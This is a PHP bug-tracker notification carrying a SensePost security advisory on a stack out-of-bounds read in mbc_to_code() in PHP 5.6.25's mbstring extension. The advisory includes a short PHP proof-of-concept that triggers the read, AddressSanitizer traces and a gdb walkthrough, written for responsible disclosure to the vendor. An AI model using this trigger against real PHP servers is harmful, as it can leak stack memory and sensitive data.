Sec Bug->Bug #72994 [Opn]: mbc_to_code() out of bounds read
| From: | stas@php.net | Date: | Fri, 02 Sep 2016 05:03:00 +0000 |
| Subject: | Sec Bug->Bug #72994 [Opn]: mbc_to_code() out of bounds read | ||
| References: | 1 | Groups: | php.bugs |
| Request: | Send a blank email to php-bugs+get-203743@lists.php.net to get a copy of this message | ||
Edit report at https://bugs.php.net/bug.php?id=72994&edit=1
ID: 72994
Updated by: stas@php.net
Reported by: research at sensepost dot com
Summary: mbc_to_code() out of bounds read
Status: Open
-Type: Security
+Type: Bug
Package: mbstring related
Operating System: Ubuntu 14.04.4 LTS x64
PHP Version: 5.6.25
Block user comment: N
Private report: Y
Previous Comments:
------------------------------------------------------------------------
[2016-09-01 13:43:22] research at sensepost dot com
Description:
------------
---[SPSA-20YY-{##}/PHP]------------------------------
SECURITY ADVISORY: SPSA-2016-{##}/PHP
Affected Software: PHP 5.6.25
Vulnerability: Out of Bounds Read
CVSSv3: 5.6
Severity: Medium
Release Date: 2016-09-XX
I. Background
~~~~~~~~~~~~~
The mbc_to_code() used in mbstring extension is susceptible to a stack-based
out-of-bounds read vulnerability.
II. Description
~~~~~~~~~~~~~~~
The following test case when run on an ASAN 5.6.x build of PHP produces the following error:
<?php
$var1 = mbereg_replace($var-232338951,NULL,NULL,NULL);
var_dump($var1);
?>
==28849==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe96d960a2 at pc
0x00000061e732 bp 0x7ffe96d95770 sp 0x7ffe96d95768
READ of size 1 at 0x7ffe96d960a2 thread T0
#0 0x61e731 in mbc_to_code /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/enc/utf8.c:105
#1 0x603bd8 in fetch_token
/home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/regparse.c:3146
#2 0x61284d in parse_regexp
/home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/regparse.c:5514
#3 0x612cb4 in onig_parse_make_tree
/home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/regparse.c:5543
#4 0x5d8f3e in onig_compile
/home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/regcomp.c:5300
#5 0x5d9f46 in onig_new /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/regcomp.c:5545
#6 0x6b49b9 in php_mbregex_compile_pattern
/home/symeon/Desktop/php-5.6.25/ext/mbstring/php_mbregex.c:458
#7 0x6b78eb in _php_mb_regex_ereg_replace_exec
/home/symeon/Desktop/php-5.6.25/ext/mbstring/php_mbregex.c:870
#8 0x6bacb6 in zif_mb_ereg_replace
/home/symeon/Desktop/php-5.6.25/ext/mbstring/php_mbregex.c:1028
#9 0xb321d4 in zend_do_fcall_common_helper_SPEC
/home/symeon/Desktop/php-5.6.25/Zend/zend_vm_execute.h:558
#10 0xb449af in ZEND_DO_FCALL_SPEC_CONST_HANDLER
/home/symeon/Desktop/php-5.6.25/Zend/zend_vm_execute.h:2602
#11 0xb30495 in execute_ex /home/symeon/Desktop/php-5.6.25/Zend/zend_vm_execute.h:363
#12 0xb305de in zend_execute /home/symeon/Desktop/php-5.6.25/Zend/zend_vm_execute.h:388
#13 0xa7e9e1 in zend_execute_scripts /home/symeon/Desktop/php-5.6.25/Zend/zend.c:1341
#14 0x91951c in php_execute_script /home/symeon/Desktop/php-5.6.25/main/main.c:2613
#15 0xc9119b in do_cli /home/symeon/Desktop/php-5.6.25/sapi/cli/php_cli.c:994
#16 0xc9341f in main /home/symeon/Desktop/php-5.6.25/sapi/cli/php_cli.c:1378
#17 0x7f47551d872f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2072f)
#18 0x419e08 in _start (/home/symeon/Desktop/php-5.6.25/sapi/cli/php+0x419e08)
Address 0x7ffe96d960a2 is located in stack of thread T0 at offset 34 in frame
#0 0x6b6cac in _php_mb_regex_ereg_replace_exec
/home/symeon/Desktop/php-5.6.25/ext/mbstring/php_mbregex.c:788
This frame has 18 object(s):
[32, 34) 'pat_buf' <== Memory access at offset 34 overflows this variable
[96, 100) 'replace_len'
[160, 164) 'string_len'
[224, 228) 'eval'
[288, 292) 'option_str_len'
[352, 360) 'args'
[416, 424) 'arg_pattern_zval'
[480, 488) 'replace'
[544, 552) 'string'
[608, 616) 'syntax'
[672, 680) 'retval_ptr'
[736, 744) 'subpats'
[800, 824) 'out_buf'
[864, 888) 'eval_buf'
[928, 952) 'v'
[992, 1032) 'arg_replace_fci_cache'
[1088, 1160) 'arg_replace_fci'
[1216, 1306) 'err_str'
Starting with the analysis on file ext/mbstring/php_mbregex.c line 814 a
two bytes char array (pat_buf) is declared:
--- cut ---
812 OnigUChar *string_lim;
813 char *description = NULL;
814 char pat_buf[2];
--- cut ---
Setting the following breakpoints and running the PoC under the dubugger gives the following output:
gdb-peda$ b utf8.c:104
Breakpoint 1 at 0x61e6f0: file /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/enc/utf8.c,
line 104.
gdb-peda$ b php_mbregex.c:863
Breakpoint 2 at 0x6b77f7: file /home/symeon/Desktop/php-5.6.25/ext/mbstring/php_mbregex.c, line 863.
gdb-peda$ b utf8.c:99
Breakpoint 3 at 0x61e667: file /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/enc/utf8.c,
line 99.
gdb-peda$ r ~/Desktop/php-asan_stack_oob_mbc_to_code.php
Starting program: /home/symeon/Desktop/php-5.6.25/sapi/cli/php
~/Desktop/php-asan_stack_oob_mbc_to_code.php
[Thread debugging using libthread_db enabled]
Breakpoint 2, _php_mb_regex_ereg_replace_exec (ht=0x4, return_value=0x7ffff7f5c388,
return_value_ptr=0x7ffff7f21a28, this_ptr=0x0,
return_value_used=0x1, options=0x0, is_callable=0x0) at
/home/symeon/Desktop/php-5.6.25/ext/mbstring/php_mbregex.c:863
863 pat_buf[0] = (char)Z_LVAL_PP(arg_pattern_zval);
gdb-peda$ n
864 pat_buf[1] = '\0';
gdb-peda$ n
866 arg_pattern = pat_buf;
gdb-peda$ print *pat_buf
$1 = 0xf9
The pat_buf[0] is the result of the Z_LVAL_PP(arg_pattern_zval) function which is 0xf9.
gdb-peda$ x/8wx pat_buf
0x7fffffff9f00: 0xffff00f9 0x00007fff 0xfffff3ee 0x00000fff
0x7fffffff9f10: 0xffff9f70 0x00007fff 0xffffa600 0x00007fff
gdb-peda$ print pat_buf[0]
$3 = 0xf9
gdb-peda$ print pat_buf[1]
$4 = 0x0
Continuing with the execution on file ext/mbstring/oniguruma/enc/utf8.c the length is
going to be calculated and then the following loop is going to be executed:
--- cut ---
99 len = enclen(ONIG_ENCODING_UTF8, p);
100 c = *p++;
101 if (len > 1) {
102 len--;
103 n = c & ((1 << (6 - len)) - 1);
104 while (len--) {
105 c = *p++;
106 n = (n << 6) | (c & ((1 << 6) - 1));
107 }
108 return n;
109 }
--- cut ---
gdb-peda$ c
Continuing.
Breakpoint 3, mbc_to_code (p=0x7fffffff9f00 <incomplete sequence \371>, end=0x7fffffff9f01
"")
at /home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/enc/utf8.c:99
99 len = enclen(ONIG_ENCODING_UTF8, p);
gdb-peda$ n
100 c = *p++;
gdb-peda$ p/d len
$5 = 5
As seen above the len was incorrectly calculated. Stepping out four times,
we enter into another loop on line 104.
gdb-peda$ n
101 if (len > 1) {
gdb-peda$ n
102 lenâ;
gdb-peda$ n
103 n = c & ((1 << (6 â len)) â 1);
gdb-peda$ n
Breakpoint 1, mbc_to_code (p=0x7fffffff9f01 "", end=0x7fffffff9f01 "") at
/home/symeon/Desktop/php-5.6.25/ext/mbstring/oniguruma/enc/utf8.c:104
104 while (len--) {
gdb-peda$ p/d len
$6 = 4
On the following executions we are going to assign the 'c' variable to the 'p'
pointer
and stepping into the loop two times we end up with the following:
104 while (len--) {
gdb-peda$ n
105 c = *p++;
This time 'c' is going to be assigned with the 'p' and at this phase we started
reading beyond that buffer:
gdb-peda$ print c
$7 = 0x0
gdb-peda$ print *p
$8 = 0xff
gdb-peda$ print p
$9 = (const OnigUChar *) 0x7fffffff9f02 "\377\377\377\177"
The next iteration will assign the value 0xff to the 'c' variable and thus start leaking
other variables from the stack.
Continuing the execution the out-of-bounds ASAN error kicks in:
gdb-peda$ n
=================================================================
==8169==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffffff9f02 at pc
0x00000061e732 bp 0x7fffffff95d0 sp 0x7fffffff95c8
READ of size 1 at 0x7fffffff9f02 thread T0
--- cut ---
==8169==ABORTING
[Inferior 1 (process 8169) exited with code 01]
III. Impact
~~~~~~~~~~~
An attacker who successfully exploited the vulnerability could start leaking other stack variables
and may allow access to sensitive memory.
IV. Disclosure
~~~~~~~~~~~~~
Reported By: Symeon Paraschoudis
Discovery Date: 2016-08-26
Vendor Informed: 2016-09-01
Advisory Release Date: 2016-09-XX
Patch Release Date: 2016-09-XX
Advisory Updated: 2016-09-XX
---------------------------------[SPSA 2016-##/PHP]---
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=72994&edit=1